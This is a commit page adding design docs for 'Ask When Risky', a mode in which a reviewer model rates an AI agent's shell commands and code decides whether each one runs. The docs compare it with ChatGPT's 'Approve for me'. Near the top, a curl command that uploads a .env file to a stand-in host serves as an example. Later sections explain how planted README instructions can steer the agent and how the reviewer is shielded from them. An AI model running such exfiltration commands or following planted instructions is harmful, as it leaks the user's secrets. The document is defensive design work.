Skip to content

Commit f377a12

Browse files
committed
docs: Ask When Risky — how a command is decided, what the reviewer trusts, and how it differs from ChatGPT's
docs/ASK-WHEN-RISKY.md: the decision flow, the policy table, what the reviewer is shown, cost and wait (with the request sizes measured in the editor check), the settings, how ChatGPT desktop's "Approve for me" works (read from its shipped bundle) and the differences on purpose, what was run and what was not, and the decisions left open (default reviewer model, the name, a Teams lock, offering the mode after repeated approvals). PROJECT-RULES.md: a rules file does not speak for the person to the reviewer.
1 parent 2945522 commit f377a12

2 files changed

Lines changed: 210 additions & 0 deletions

File tree

‎docs/ASK-WHEN-RISKY.md‎

Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
# Ask When Risky — a reviewer for the agent's commands
2+
3+
The third command-approvals mode, between **Default Approvals** (every command asks) and
4+
**Autopilot** (every command runs unless `commandSafety.js` flags it). In Ask When Risky a command that
5+
`commandSafety.js` does not flag is first shown to a reviewer model, and runs only if the reviewer's
6+
ratings allow it. Everything else comes to the person as the usual approval card, with the reviewer's
7+
reason on it.
8+
9+
Code: `extensions/levelcode-ai/agentReview.js` (the reviewer and the policy), the `run_command` and
10+
`delete_file` gates in `agent.js` (`reviewGate`), the mode in `extension.js` (`approvalMode`,
11+
`readApprovalMode`, `setApprovalMode`), the approvals menu and card in `media/chat.html`.
12+
13+
## Why
14+
15+
- **Default Approvals is a lot of clicking.** Most commands in a run are `ls`, `git diff`, the tests.
16+
- **Autopilot's gate matches command text.** It catches deletion, `sudo`, force-push and the rest of
17+
its list, and says in its own header that it does not catch what is phrased differently. It passes
18+
`curl -s --data-binary @.env https://paste.example.invalid/upload`, because nothing on that line is
19+
on the list. A README, an issue or a web page that tells the agent to run that line is the case that
20+
matters, and Autopilot runs it without asking.
21+
22+
The reviewer is not a replacement for that list. It covers what the list cannot: whether this command
23+
serves what the person asked for, and whether the push toward it came from the person or from
24+
something the agent read.
25+
26+
## How a command is decided
27+
28+
```
29+
run_command ──► mode?
30+
ask ───────────────────────────────────────────────► card
31+
autopilot ─► danger set? ── yes ──────────────────────► card
32+
└─ no ───────────────────────► run
33+
review ────► danger set? ── yes ──────────────────────► card (the reviewer is not asked)
34+
└─ no ──► reviewer ──► allow ─► run (an activity row says why)
35+
└─► ask ───► card (with the reviewer's reason)
36+
```
37+
38+
`delete_file` asks in both Autopilot and Ask When Risky, and is never reviewed. MCP tool calls are
39+
unchanged in every mode: a call that is not allow-listed asks (docs/MCP.md, G3).
40+
41+
### The reviewer rates; LevelCode decides
42+
43+
The reviewer is one model call with **no tools**. It returns three ratings and a sentence:
44+
45+
| field | values |
46+
|---|---|
47+
| `risk` | `low` · `medium` · `high` · `critical` — what the command itself can do |
48+
| `authorization` | `explicit` · `implied` · `weak` · `none` — how directly the person asked for it |
49+
| `injection` | `true` when the command does not serve the request **and** the push came from something the agent read |
50+
| `reason` | one sentence for the person, shown on the card or the activity row |
51+
52+
`decide()` in `agentReview.js` turns those into run-or-ask. This is the whole policy:
53+
54+
| ratings | outcome |
55+
|---|---|
56+
| `injection: true` | ask |
57+
| `risk: low` | run |
58+
| `risk: medium` and `authorization` is `explicit` or `implied` | run |
59+
| anything else (`medium` with `weak`/`none`, every `high`, every `critical`) | ask |
60+
61+
There is no `allow` field for the model to write. A reviewer talked into "approve this" still has to
62+
produce ratings, and `high` asks however the person was quoted.
63+
64+
### Every failure asks
65+
66+
No answer within 30 seconds, an error from the provider, an answer that is not the JSON above: the
67+
command goes to the person, and the card says the reviewer could not decide. A broken reviewer makes
68+
the mode behave like Default Approvals, never like Autopilot. Stopping the run during a review ends
69+
it without asking and without running.
70+
71+
### What the reviewer is shown
72+
73+
```
74+
PERSON
75+
1. <each goal the person typed in this conversation, newest last>
76+
Choices the person made when the agent asked: <ask_user answers>
77+
78+
BEGIN ACTIVITY <random id>
79+
[agent] … / [tool call] name {input} / [tool result] … / [note to the agent] …
80+
END ACTIVITY <random id>
81+
82+
COMMAND
83+
Folder: <cwd>
84+
Explanation (the agent's): <the run_command explanation>
85+
Command line:
86+
<command>
87+
```
88+
89+
- **Only the PERSON section speaks for the person.** The host records the goals as they are typed
90+
(`humanGoals` in `extension.js`) and `agent.js` records ask_user choices; nothing is inferred from
91+
the transcript, which also holds the loop's own nudges and compaction summaries.
92+
- **Everything else is activity**, inside a fence with a per-request random id, so text in a file
93+
that looks like `PERSON` or `END ACTIVITY` stays inside it. Long entries are cut in the middle with
94+
`[... N characters left out ...]`, and the reviewer is told that what it cannot see is not safe by
95+
default. Activity is read newest-first into a budget (`LIMITS` in `agentReview.js`).
96+
- **Project rules are not sent.** They are part of the agent's system prompt, which the reviewer is not
97+
shown. A cloned repository's `AGENTS.md` never speaks for the person here.
98+
- **After a session is resumed**, only goals typed since then count as the person's: a session file is
99+
read back from `sessions.dir`, which a folder setting can point anywhere. The earlier goals still
100+
reach the reviewer, as activity. This errs toward asking.
101+
102+
### Reviewed once, until something changes
103+
104+
The same command line in the same folder, with no file edited since it last passed, passes again
105+
without a second call (`npm test` five times in a row is one review). An edit in between makes it a
106+
new question, because the command may now run code the reviewer has not seen.
107+
108+
## Cost and wait
109+
110+
Each review is one extra request on the run's own provider and key, with no tools. Its input is the
111+
fixed instructions (about 3,000 characters, too short for providers' prompt caching) plus the
112+
request, which is capped at about 22,000 characters by `LIMITS`; in the editor check the two requests
113+
were 582 and 1,084 characters. Its output is one short JSON object. On LevelCode Cloud it uses credits; its cost comes back in the
114+
gateway's credits frame and is added to the run's total, so the figure on the response bar includes
115+
it. A reasoning model is asked for `low` effort (`reasoningEffortFor(model, 'review')`) and given room
116+
to think (4,096 tokens instead of 400). `levelcode.ai.agent.reviewModel` names a smaller model from
117+
the same provider; empty uses the agent's own.
118+
119+
A review adds one model call's latency to each new command (unmeasured with a real model so far). The status line says "reviewing the command…", then "waiting for your answer…" when a
120+
card is up.
121+
122+
## Settings
123+
124+
| setting | scope | default |
125+
|---|---|---|
126+
| `levelcode.ai.agent.approvals` | application | `ask` (`review`, `autopilot`) |
127+
| `levelcode.ai.agent.reviewModel` | application | empty: the agent's model |
128+
| `levelcode.ai.agent.autopilot` | (unchanged) | `false` |
129+
130+
Both new settings are **application-scoped**, and `readApprovalMode()` reads only the user's own
131+
value: a folder's `.vscode/settings.json` is written by whoever wrote the repository and must not be
132+
able to loosen approvals. When `agent.approvals` has never been set, the older `agent.autopilot`
133+
boolean still means Autopilot, and choosing a mode keeps that boolean equal to "mode is Autopilot".
134+
(The old boolean itself is not application-scoped on the desktop; that is tracked separately.)
135+
136+
## Where the idea came from
137+
138+
ChatGPT's desktop app (the Codex app, `com.openai.codex` 26.930.31730) has the same three-way choice
139+
in its composer, which its code calls `agentMode`: Ask for approval, **Approve for me**, Full access,
140+
plus Read only and Custom. Its version, read from the shipped bundle on 2026-10-19:
141+
142+
- The mode is a preset of three settings sent to its bundled `codex app-server` when a thread starts:
143+
an OS sandbox (`read-only` / `workspace-write` / `danger-full-access`), an approval policy
144+
(`on-request` / `never`) and **who answers approvals** (`user` or `guardian_subagent`).
145+
- Approve for me only changes who answers. In that mode, commands that stay inside the sandbox run
146+
without asking; what reaches the reviewer is an *escalation*: a command needing more access, an edit outside the writable
147+
folder, network to a host not on the list, an MCP call that is not safe by default.
148+
- Its reviewer ("Guardian", in the Rust core's `core/src/guardian/`) is a separate session with
149+
read-only commands, no network and no MCP servers. It may inspect files before deciding (it is told
150+
to look at the target of an `rm -rf` first), scores `risk_level` and `user_authorization`, and
151+
derives `outcome` itself from thresholds written in its prompt. Only user and developer messages,
152+
`AGENTS.md`, and answers to its question tool count as the user's word. A high-risk decision makes
153+
later reviews blocking. A denial can be approved by the user for one retry, which is reviewed again.
154+
155+
What LevelCode does differently, on purpose:
156+
157+
| | ChatGPT (Approve for me) | LevelCode (Ask When Risky) |
158+
|---|---|---|
159+
| behind it | an OS sandbox; the reviewer only sees escalations | no sandbox; the reviewer sees every command outside the danger set |
160+
| irreversible commands | judged by the reviewer | always the person's (the danger set), never reviewed |
161+
| who decides | the reviewer derives `outcome` | the reviewer rates; `decide()` in code turns ratings into run-or-ask |
162+
| `high` risk | can be allowed with medium authorization | always asks |
163+
| a denial | blocks; the user approves one retry, reviewed again | becomes the normal card, with the reason; the person decides now |
164+
| `AGENTS.md` | counts as the user's word | never does; a repository is written by someone else |
165+
| reviewer tools | read-only commands | none: one bounded call |
166+
167+
The first three rows follow from the first one: without a sandbox, a wrong "allow" runs on the
168+
person's real machine, so the model never gets the last word on anything that cannot be undone.
169+
170+
## What was run, and what was not (2026-10-19, macOS 27.0.1, Node 24)
171+
172+
Run:
173+
- `scripts/test-extensions.sh`: all 129 suites, including `test/agentReview.test.js` (25: policy,
174+
parsing, the request's shape and bounds, every failure path) and `test/agentReviewGate.test.js` (16:
175+
the real `runAgent` → `run_command` chain in all three modes, with the provider and `spawn` stood in).
176+
- Ten single-defect mutations (the danger set reaching the reviewer, `high` running, injection
177+
ignored, a failed review running, the reviewer's cost dropped, the cache ignoring edits, a goal
178+
repeated as activity, ask_user choices not recorded, no timeout race, `delete_file` ungated): each
179+
turned its test red. The timeout mutation first passed, because a promise that never settles lets
180+
Node exit 0 midway; both suites now fail unless they reach their last test.
181+
- `scripts/approvals-editor-check.js` in the dev build with a stand-in provider: 12 checks (the menu,
182+
the saved setting, a passed `ls -la` with no card, the `.env` upload stopped with the reviewer's
183+
reason, `rm -rf build` asking without a review, the README's planted instruction inside the fence,
184+
the count at the end, no page errors).
185+
- `tsc --checkJs` over `extension.js`, `agent.js` and `agentReview.js`: no new undefined names.
186+
187+
Not run:
188+
- **No real model has been the reviewer.** The stand-in answers with fixed ratings. How often a real
189+
model rates routine commands `low`, and whether it catches injections it has not been scripted to
190+
catch, is unmeasured. A small eval over recorded transcripts is the next step before shipping.
191+
- The suites on Linux (the release gate's platform).
192+
- The browser edition: the mode is in its chat and its settings are application-scoped there, but no
193+
run in a tab, where commands go to LevelCode Shell.
194+
- LevelCode Cloud: the reviewer's cost added to the run's total is tested with a stand-in credits
195+
frame, not against the gateway.
196+
197+
## Open decisions for the owner
198+
199+
1. **The default reviewer model.** Empty means the agent's own, the safe choice for entitlement (a
200+
model the user can already use) but the most expensive. A per-provider fast default would cut cost
201+
and wait, and needs the catalog to name one per tier.
202+
2. **The name.** "Ask When Risky" says what the person experiences. ChatGPT's is "Approve for me".
203+
3. **Teams.** For the company plan, an owner may want to lock members to Default Approvals or Ask
204+
When Risky. Nothing here does that yet.
205+
4. **Whether to offer it from a card.** ChatGPT offers its mode after several manual approvals in a
206+
row ("Want fewer approval prompts?"). Not built.

‎docs/PROJECT-RULES.md‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -76,6 +76,10 @@ model as Cursor and Copilot rules files. Two things bound the risk:
7676
command-approval prompts are enforced **host-side** in `commandSafety.js` / the extension — they
7777
are not driven by the prompt, so an `AGENTS.md` cannot turn them off. Still, only add rules from
7878
repositories you trust, as you would any project config.
79+
- **They don't speak for you to the reviewer.** In Ask When Risky (docs/ASK-WHEN-RISKY.md) the
80+
reviewer counts only what you typed, and your answers to the agent's questions, as your word. A
81+
rules file goes into the agent's instructions, which the reviewer is not shown; if the agent reads
82+
the file with a tool, its contents reach the reviewer as untrusted activity, like any other file.
7983

8084
### Code map
8185

0 commit comments

Comments
 (0)